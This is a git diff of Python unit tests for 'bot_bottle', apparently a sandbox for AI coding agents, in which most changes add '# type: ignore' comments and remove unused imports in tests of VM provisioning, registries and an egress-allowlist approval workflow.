@@ -76,19 +76,19 @@ class TestEnsureSmolmachine(unittest.TestCase):
         )
 
         class _Reg:
-            def __enter__(self_inner):
+            def __enter__(self_inner):  # type: ignore
                 return RegistryHandle(
                     network="cb-net-xyz",
                     push_endpoint="cb-registry-xyz:5000",
                     pull_endpoint="localhost:54321",
                 )
-            def __exit__(self_inner, *exc):
+            def __exit__(self_inner, *exc):  # type: ignore
                 return False
 
         calls: list[str] = []
 
-        def record(name):
-            def _f(*a, **kw):
+        def record(name):  # type: ignore
+            def _f(*a, **kw):  # type: ignore
                 calls.append(name)
             return _f
 
diff --git a/tests/unit/test_smolmachines_local_registry.py b/tests/unit/test_smolmachines_local_registry.py
index a0277ba..e6f840c 100644
--- a/tests/unit/test_smolmachines_local_registry.py
+++ b/tests/unit/test_smolmachines_local_registry.py
@@ -15,13 +15,13 @@ from unittest.mock import patch
 from bot_bottle.backend.smolmachines import local_registry
 
 
-def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
+def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=0, stdout=stdout, stderr=stderr,
     )
 
 
-def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
+def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=1, stdout="", stderr=stderr,
     )
@@ -149,7 +149,7 @@ class TestEphemeralRegistry(unittest.TestCase):
     def test_unique_session_ids_per_call(self):
         sessions: list[tuple[str, str]] = []
 
-        def capture(argv, *a, **kw):
+        def capture(argv, *a, **kw):  # type: ignore
             if argv[:3] == ["docker", "network", "create"]:
                 return _ok()
             if argv[:2] == ["docker", "run"]:
@@ -242,7 +242,7 @@ class _FakeSocket:
     def __enter__(self):
         return self
 
-    def __exit__(self, *exc):
+    def __exit__(self, *exc):  # type: ignore
         return False
 
 
diff --git a/tests/unit/test_smolmachines_loopback_alias.py b/tests/unit/test_smolmachines_loopback_alias.py
index 4fcc537..7751af6 100644
--- a/tests/unit/test_smolmachines_loopback_alias.py
+++ b/tests/unit/test_smolmachines_loopback_alias.py
@@ -11,7 +11,6 @@ import json
 import sqlite3
 import subprocess
 import tempfile
-import threading
 import unittest
 from pathlib import Path
 from unittest.mock import patch
@@ -19,13 +18,13 @@ from unittest.mock import patch
 from bot_bottle.backend.smolmachines import loopback_alias
 
 
-def _ok(stdout: str = "") -> subprocess.CompletedProcess:
+def _ok(stdout: str = "") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=0, stdout=stdout, stderr="",
     )
 
 
-def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
+def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=1, stdout="", stderr=stderr,
     )
@@ -79,7 +78,7 @@ class TestEnsurePool(unittest.TestCase):
         # lo0 only has 16+17 already; sudo runs for 18..31 (14 missing).
         runs: list[list[str]] = []
 
-        def fake_run(argv, *a, **kw):
+        def fake_run(argv, *a, **kw):  # type: ignore
             runs.append(argv)
             if argv[:2] == ["/sbin/ifconfig", "lo0"]:
                 return _ok(stdout=_LO0_PARTIAL)
@@ -98,7 +97,7 @@ class TestEnsurePool(unittest.TestCase):
         )
 
     def test_sudo_failure_dies(self):
-        def fake_run(argv, *a, **kw):
+        def fake_run(argv, *a, **kw):  # type: ignore
             if argv[:2] == ["/sbin/ifconfig", "lo0"]:
                 return _ok(stdout=_LO0_DEFAULT)
             if argv[:1] == ["sudo"]:
@@ -153,7 +152,7 @@ class TestAllocateLock(unittest.TestCase):
         import fcntl as fcntl_mod
         flock_calls: list[int] = []
 
-        def record_flock(fd, op):
+        def record_flock(fd, op):  # type: ignore
             flock_calls.append(op)
 
         with tempfile.TemporaryDirectory() as tmp:
diff --git a/tests/unit/test_smolmachines_prepare.py b/tests/unit/test_smolmachines_prepare.py
index ea211f2..c851f76 100644
--- a/tests/unit/test_smolmachines_prepare.py
+++ b/tests/unit/test_smolmachines_prepare.py
@@ -46,7 +46,7 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
             orig_root = _sup.bot_bottle_root
             _sup.bot_bottle_root = lambda: Path(tmp) / ".bot-bottle"  # type: ignore[assignment]
 
-            host_env = {**os.environ, **(extra_host_env or {})}
+            host_env = {**os.environ, **(extra_host_env or {})}  # type: ignore
 
             try:
                 with (
@@ -59,13 +59,15 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
                     patch("bot_bottle.backend.smolmachines.prepare.PipelockProxy") as mock_pl,
                     patch("bot_bottle.backend.smolmachines.prepare.Egress") as mock_eg,
                     patch("bot_bottle.backend.smolmachines.prepare.Supervise"),
-                    patch("bot_bottle.backend.smolmachines.prepare.agent_provision_plan") as mock_app,
+                    patch(
+                        "bot_bottle.backend.smolmachines.prepare.agent_provision_plan"
+                    ) as mock_app,
                     patch("bot_bottle.backend.smolmachines.prepare.runtime_for"),
                 ):
                     mock_gg.return_value.prepare.return_value = MagicMock()
                     mock_pl.return_value.prepare.return_value = MagicMock()
                     mock_eg.return_value.prepare.return_value = MagicMock()
-                    def _make_provision(**kwargs):
+                    def _make_provision(**kwargs):  # type: ignore
                         return AgentProvisionPlan(
                             template="claude",
                             command="claude",
@@ -74,7 +76,7 @@ class TestSmolmachinesResolveEnv(unittest.TestCase):
                             image="bot-bottle-claude:latest",
                             guest_env=dict(kwargs.get("guest_env") or {}),
                         )
-                    mock_app.side_effect = lambda **kw: _make_provision(**kw)
+                    mock_app.side_effect = lambda **kw: _make_provision(**kw)  # type: ignore
 
                     from bot_bottle.backend.smolmachines.prepare import resolve_plan
                     plan = resolve_plan(spec, stage_dir=stage)
diff --git a/tests/unit/test_smolmachines_provision.py b/tests/unit/test_smolmachines_provision.py
index c48aa01..48d8d60 100644
--- a/tests/unit/test_smolmachines_provision.py
+++ b/tests/unit/test_smolmachines_provision.py
@@ -55,7 +55,7 @@ def _exec_scripts(bottle: MagicMock) -> list[str]:
     return [c.args[0] for c in bottle.exec.call_args_list]
 
 
-def _exec_users(bottle: MagicMock) -> list[str]:
+def _exec_users(bottle: MagicMock) -> list[str]:  # type: ignore
     """user= kwarg from each bottle.exec call, in order."""
     return [c.kwargs.get("user", "node") for c in bottle.exec.call_args_list]
 
@@ -64,8 +64,8 @@ def _plan(
     *,
     agent_prompt: str = "",
     skills: list[str] | None = None,
-    git: list[GitEntry] = (),
-    git_user: dict | None = None,
+    git: list[GitEntry] = (),  # type: ignore
+    git_user: dict | None = None,  # type: ignore
     copy_cwd: bool = False,
     user_cwd: str = "/tmp/x",
     stage_dir: Path | None = None,
@@ -80,8 +80,8 @@ def _plan(
     agent_provider_template: str = "claude",
     guest_env: dict[str, str] | None = None,
 ) -> SmolmachinesBottlePlan:
-    bottle_json: dict = {}
-    git_gate_json: dict = {}
+    bottle_json: dict = {}  # type: ignore
+    git_gate_json: dict = {}  # type: ignore
     if git:
         git_gate_json["repos"] = {
             g.Name: {
diff --git a/tests/unit/test_smolmachines_pty_resize.py b/tests/unit/test_smolmachines_pty_resize.py
index 4ddba6b..a0a3795 100644
--- a/tests/unit/test_smolmachines_pty_resize.py
+++ b/tests/unit/test_smolmachines_pty_resize.py
@@ -85,7 +85,7 @@ class TestReadWinsize(unittest.TestCase):
 
         calls: list[int] = []
 
-        def fake_ioctl(fd, req, buf):
+        def fake_ioctl(fd, req, buf):  # type: ignore
             calls.append(fd)
             if fd == 0:
                 raise OSError("stdin not a tty")
@@ -105,7 +105,7 @@ class TestReadWinsize(unittest.TestCase):
             struct.pack("hhhh", 24, 80, 0, 0),     # stdout: real
         ])
 
-        def fake_ioctl(fd, req, buf):
+        def fake_ioctl(fd, req, buf):  # type: ignore
             return next(responses)
 
         with patch.object(pty_resize.fcntl, "ioctl", side_effect=fake_ioctl):
@@ -153,7 +153,7 @@ class TestStartupSyncDeferred(unittest.TestCase):
         self.assertEqual(0, rc)
         # Timer scheduled with the documented delay constant.
         timer_cls.assert_called_once()
-        delay, callback = timer_cls.call_args.args
+        delay, callback = timer_cls.call_args.args  # type: ignore
         self.assertEqual(pty_resize._STARTUP_SYNC_DELAY_SEC, delay)
         # _push_size never called synchronously — the only path to
         # it is via the (mocked) timer's callback firing.
diff --git a/tests/unit/test_smolmachines_sidecar_bundle.py b/tests/unit/test_smolmachines_sidecar_bundle.py
index 84f181f..5426770 100644
--- a/tests/unit/test_smolmachines_sidecar_bundle.py
+++ b/tests/unit/test_smolmachines_sidecar_bundle.py
@@ -24,19 +24,19 @@ from bot_bottle.backend.smolmachines.sidecar_bundle import (
 )
 
 
-def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
+def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=0, stdout=stdout, stderr=stderr,
     )
 
 
-def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
+def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=1, stdout="", stderr=stderr,
     )
 
 
-def _spec(**kwargs) -> BundleLaunchSpec:
+def _spec(**kwargs) -> BundleLaunchSpec:  # type: ignore
     defaults = dict(
         slug="demo-abc12",
         network_name="bot-bottle-bundle-demo-abc12",
@@ -45,7 +45,7 @@ def _spec(**kwargs) -> BundleLaunchSpec:
         bundle_ip="192.168.50.2",
     )
     defaults.update(kwargs)
-    return BundleLaunchSpec(**defaults)
+    return BundleLaunchSpec(**defaults)  # type: ignore
 
 
 class TestNamingHelpers(unittest.TestCase):
@@ -69,7 +69,7 @@ class TestNamingHelpers(unittest.TestCase):
 
 
 class TestNetworkLifecycle(unittest.TestCase):
-    def _patch_run(self, **kwargs):
+    def _patch_run(self, **kwargs):  # type: ignore
         return patch(
             "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run",
             **kwargs,
@@ -200,7 +200,7 @@ class TestEnsureBundleImage(unittest.TestCase):
 
 
 class TestStopBundle(unittest.TestCase):
-    def _patch_run(self, **kwargs):
+    def _patch_run(self, **kwargs):  # type: ignore
         return patch(
             "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run",
             **kwargs,
diff --git a/tests/unit/test_smolmachines_smolvm.py b/tests/unit/test_smolmachines_smolvm.py
index efc1c29..e693c57 100644
--- a/tests/unit/test_smolmachines_smolvm.py
+++ b/tests/unit/test_smolmachines_smolvm.py
@@ -28,13 +28,13 @@ from bot_bottle.backend.smolmachines.smolvm import (
 )
 
 
-def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
+def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=0, stdout=stdout, stderr=stderr,
     )
 
 
-def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
+def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=1, stdout="", stderr=stderr,
     )
diff --git a/tests/unit/test_supervise.py b/tests/unit/test_supervise.py
index 8f71225..1f8671d 100644
--- a/tests/unit/test_supervise.py
+++ b/tests/unit/test_supervise.py
@@ -37,7 +37,11 @@ from bot_bottle.supervise import (
 FIXED_TS = datetime(2026, 5, 25, 12, 0, 0, tzinfo=timezone.utc)
 
 
-def _proposal(tool: str = TOOL_EGRESS_BLOCK, proposed: str = "{}", justification: str = "need a route") -> Proposal:
+def _proposal(
+    tool: str = TOOL_EGRESS_BLOCK,
+    proposed: str = "{}",
+    justification: str = "need a route",
+) -> Proposal:
     return Proposal.new(
         bottle_slug="dev",
         tool=tool,
@@ -332,10 +336,10 @@ class TestToolConstants(unittest.TestCase):
 class _StubSupervise(supervise.Supervise):
     """Concrete Supervise subclass for testing the prepare template."""
 
-    def start(self, plan):
+    def start(self, plan):  # type: ignore
         return f"stub-{plan.slug}"
 
-    def stop(self, target):
+    def stop(self, target):  # type: ignore
         return None
 
 
diff --git a/tests/unit/test_supervise_cli.py b/tests/unit/test_supervise_cli.py
index 0c36ed0..b02bf3c 100644
--- a/tests/unit/test_supervise_cli.py
+++ b/tests/unit/test_supervise_cli.py
@@ -133,14 +133,14 @@ class TestApproveReject(_FakeHomeMixin, unittest.TestCase):
         self._original_apply_capability = supervise_cli.apply_capability_change
         # Default stubs: succeed with deterministic before/after so the
         # audit log shows a non-empty diff.
-        supervise_cli.add_route = lambda slug, content: (
+        supervise_cli.add_route = lambda slug, content: (  # type: ignore
             '{"routes": []}\n', '{"routes": [{"host": "x"}]}\n',
         )
-        supervise_cli.apply_allowlist_change = lambda slug, content: (
+        supervise_cli.apply_allowlist_change = lambda slug, content: (  # type: ignore
             "old.example\n", content,
         )
-        supervise_cli.fetch_current_allowlist = lambda slug: "old.example\n"
-        supervise_cli.apply_capability_change = lambda slug, content: (
+        supervise_cli.fetch_current_allowlist = lambda slug: "old.example\n"  # type: ignore
+        supervise_cli.apply_capability_change = lambda slug, content: (  # type: ignore
             "FROM old\n", content,
         )
 
@@ -231,7 +231,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
 
     def test_egress_block_calls_add_route_with_proposed_json(self):
         calls = []
-        supervise_cli.add_route = lambda slug, content: (
+        supervise_cli.add_route = lambda slug, content: (  # type: ignore
             calls.append((slug, content)) or ("before", "after")
         )
         qp = self._enqueue_egress(
@@ -250,7 +250,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
 
     def test_modify_passes_final_file_to_add_route(self):
         calls = []
-        supervise_cli.add_route = lambda slug, content: (
+        supervise_cli.add_route = lambda slug, content: (  # type: ignore
             calls.append(content) or ("before", "after")
         )
         qp = self._enqueue_egress()
@@ -262,7 +262,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertEqual(['{"host": "edited.example"}\n'], calls)
 
     def test_apply_failure_blocks_response_and_audit(self):
-        supervise_cli.add_route = lambda slug, content: (_ for _ in ()).throw(
+        supervise_cli.add_route = lambda slug, content: (_ for _ in ()).throw(  # type: ignore
             EgressApplyError("docker exec failed")
         )
         qp = self._enqueue_egress()
@@ -277,7 +277,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertEqual([], read_audit_entries("egress", "dev"))
 
     def test_real_diff_lands_in_audit(self):
-        supervise_cli.add_route = lambda slug, content: (
+        supervise_cli.add_route = lambda slug, content: (  # type: ignore
             '{"routes": []}\n',  # before
             '{"routes": [{"host": "new.example"}]}\n',  # after
         )
@@ -329,9 +329,9 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
         return supervise_cli.QueuedProposal(proposal=p, queue_dir=qdir)
 
     def test_url_host_merged_into_current_allowlist(self):
-        supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"
+        supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"  # type: ignore
         applied = []
-        supervise_cli.apply_allowlist_change = lambda slug, content: (
+        supervise_cli.apply_allowlist_change = lambda slug, content: (  # type: ignore
             applied.append((slug, content))
             or ("existing.example\n", content)
         )
@@ -348,9 +348,9 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertNotIn("/repos/foo/bar", content)  # path stripped
 
     def test_host_already_in_allowlist_is_idempotent(self):
-        supervise_cli.fetch_current_allowlist = lambda slug: "api.github.com\n"
+        supervise_cli.fetch_current_allowlist = lambda slug: "api.github.com\n"  # type: ignore
         applied = []
-        supervise_cli.apply_allowlist_change = lambda slug, content: (
+        supervise_cli.apply_allowlist_change = lambda slug, content: (  # type: ignore
             applied.append(content)
             or ("api.github.com\n", content)
         )
@@ -362,8 +362,8 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertEqual("api.github.com\n", applied[0])
 
     def test_apply_failure_blocks_response_and_audit(self):
-        supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"
-        supervise_cli.apply_allowlist_change = lambda slug, content: (_ for _ in ()).throw(
+        supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"  # type: ignore
+        supervise_cli.apply_allowlist_change = lambda slug, content: (_ for _ in ()).throw(  # type: ignore
             PipelockApplyError("docker exec failed")
         )
         qp = self._enqueue_pipelock()
@@ -376,7 +376,7 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertEqual([], read_audit_entries("pipelock", "dev"))
 
     def test_url_without_host_raises(self):
-        supervise_cli.fetch_current_allowlist = lambda slug: ""
+        supervise_cli.fetch_current_allowlist = lambda slug: ""  # type: ignore
         # supervise_server's validator would catch this; if a broken
         # URL ever makes it through, the supervise TUI surfaces it too.
         qp = self._enqueue_pipelock("https:///nohost")
@@ -413,7 +413,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
 
     def test_capability_block_calls_apply_with_proposed_file(self):
         calls = []
-        supervise_cli.apply_capability_change = lambda slug, content: (
+        supervise_cli.apply_capability_change = lambda slug, content: (  # type: ignore
             calls.append((slug, content)) or ("FROM old\n", content)
         )
         qp = self._enqueue_capability("FROM bookworm\n")
@@ -421,7 +421,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertEqual([("dev", "FROM bookworm\n")], calls)
 
     def test_apply_failure_blocks_response_and_keeps_pending(self):
-        supervise_cli.apply_capability_change = lambda slug, content: (_ for _ in ()).throw(
+        supervise_cli.apply_capability_change = lambda slug, content: (_ for _ in ()).throw(  # type: ignore
             CapabilityApplyError("teardown failed")
         )
         qp = self._enqueue_capability()
@@ -433,7 +433,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
         )
 
     def test_no_audit_log_for_capability(self):
-        supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)
+        supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)  # type: ignore
         qp = self._enqueue_capability()
         supervise_cli.approve(qp)
         # capability-block has no audit log per PRD 0013 — its record
@@ -442,7 +442,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
         self.assertEqual([], read_audit_entries("pipelock", "dev"))
 
     def test_proposal_archived_after_apply(self):
-        supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)
+        supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)  # type: ignore
         qp = self._enqueue_capability()
         supervise_cli.approve(qp)
         # Sidecar would normally archive after delivering the response,
@@ -517,7 +517,7 @@ class TestCapabilityBlockSmolmachinesGuard(_FakeHomeMixin, unittest.TestCase):
     def setUp(self):
         self._setup_fake_home()
         self._original_apply_capability = supervise_cli.apply_capability_change
-        supervise_cli.apply_capability_change = lambda slug, content: ("", content)
+        supervise_cli.apply_capability_change = lambda slug, content: ("", content)  # type: ignore
 
     def tearDown(self):
         supervise_cli.apply_capability_change = self._original_apply_capability
diff --git a/tests/unit/test_supervise_cli_detail_lines.py b/tests/unit/test_supervise_cli_detail_lines.py
index a535f22..da7d358 100644
--- a/tests/unit/test_supervise_cli_detail_lines.py
+++ b/tests/unit/test_supervise_cli_detail_lines.py
@@ -7,7 +7,6 @@ which hostname will land in pipelock's allowlist on approval."""
 
 import unittest
 
-from bot_bottle import supervise
 from bot_bottle.cli import supervise as supervise_cli
 from bot_bottle.supervise import (
     Proposal,
diff --git a/tests/unit/test_supervise_server.py b/tests/unit/test_supervise_server.py
index 474d65e..a9a0985 100644
--- a/tests/unit/test_supervise_server.py
+++ b/tests/unit/test_supervise_server.py
@@ -16,7 +16,7 @@ from unittest.mock import patch
 # we mirror that by injecting bot_bottle/ onto sys.path under the
 # bare name `supervise`.
 sys.path.insert(0, str(Path(__file__).resolve().parent.parent.parent / "bot_bottle"))
-import supervise as _sv  # noqa: E402
+import supervise as _sv  # noqa: E402  # type: ignore
 
 from bot_bottle import supervise_server  # noqa: E402
 from bot_bottle.supervise_server import (
@@ -39,7 +39,6 @@ from bot_bottle.supervise_server import (
     jsonrpc_error,
     jsonrpc_result,
     parse_jsonrpc,
-    serve,
     validate_proposed_file,
 )
 
@@ -331,7 +330,7 @@ class TestHandleToolsCall(unittest.TestCase):
 class TestHandleListEgressRoutes(unittest.TestCase):
     def test_url_error_returns_tool_error(self):
         class _Opener:
-            def open(self, *args, **kwargs):  # noqa: ANN001, ANN002, ANN003
+            def open(self, *args, **kwargs):  # noqa: ANN001, ANN002, ANN003  # type: ignore
                 raise OSError("egress unavailable")
 
         with patch.object(supervise_server.urllib.request, "build_opener", return_value=_Opener()):
diff --git a/tests/unit/test_yaml_subset.py b/tests/unit/test_yaml_subset.py
index cd800c1..11519fa 100644
--- a/tests/unit/test_yaml_subset.py
+++ b/tests/unit/test_yaml_subset.py
@@ -273,18 +273,18 @@ class TestRealisticBottleFile(unittest.TestCase):
                   KnownHostKey: ssh-ed25519 AAAA...
         """)
         # Spot-check the deep parts; the structure is large.
-        self.assertEqual(2, len(out["egress"]["routes"]))
+        self.assertEqual(2, len(out["egress"]["routes"]))  # type: ignore
         self.assertEqual(
             ["/didericis/"],
-            out["egress"]["routes"][1]["path_allowlist"],
+            out["egress"]["routes"][1]["path_allowlist"],  # type: ignore
         )
         self.assertEqual(
             "Bearer",
-            out["egress"]["routes"][0]["auth"]["scheme"],
+            out["egress"]["routes"][0]["auth"]["scheme"],  # type: ignore
         )
         self.assertEqual(
             "ssh-ed25519 AAAA...",
-            out["git"]["remotes"]["gitea.dideric.is"]["KnownHostKey"],
+            out["git"]["remotes"]["gitea.dideric.is"]["KnownHostKey"],  # type: ignore
         )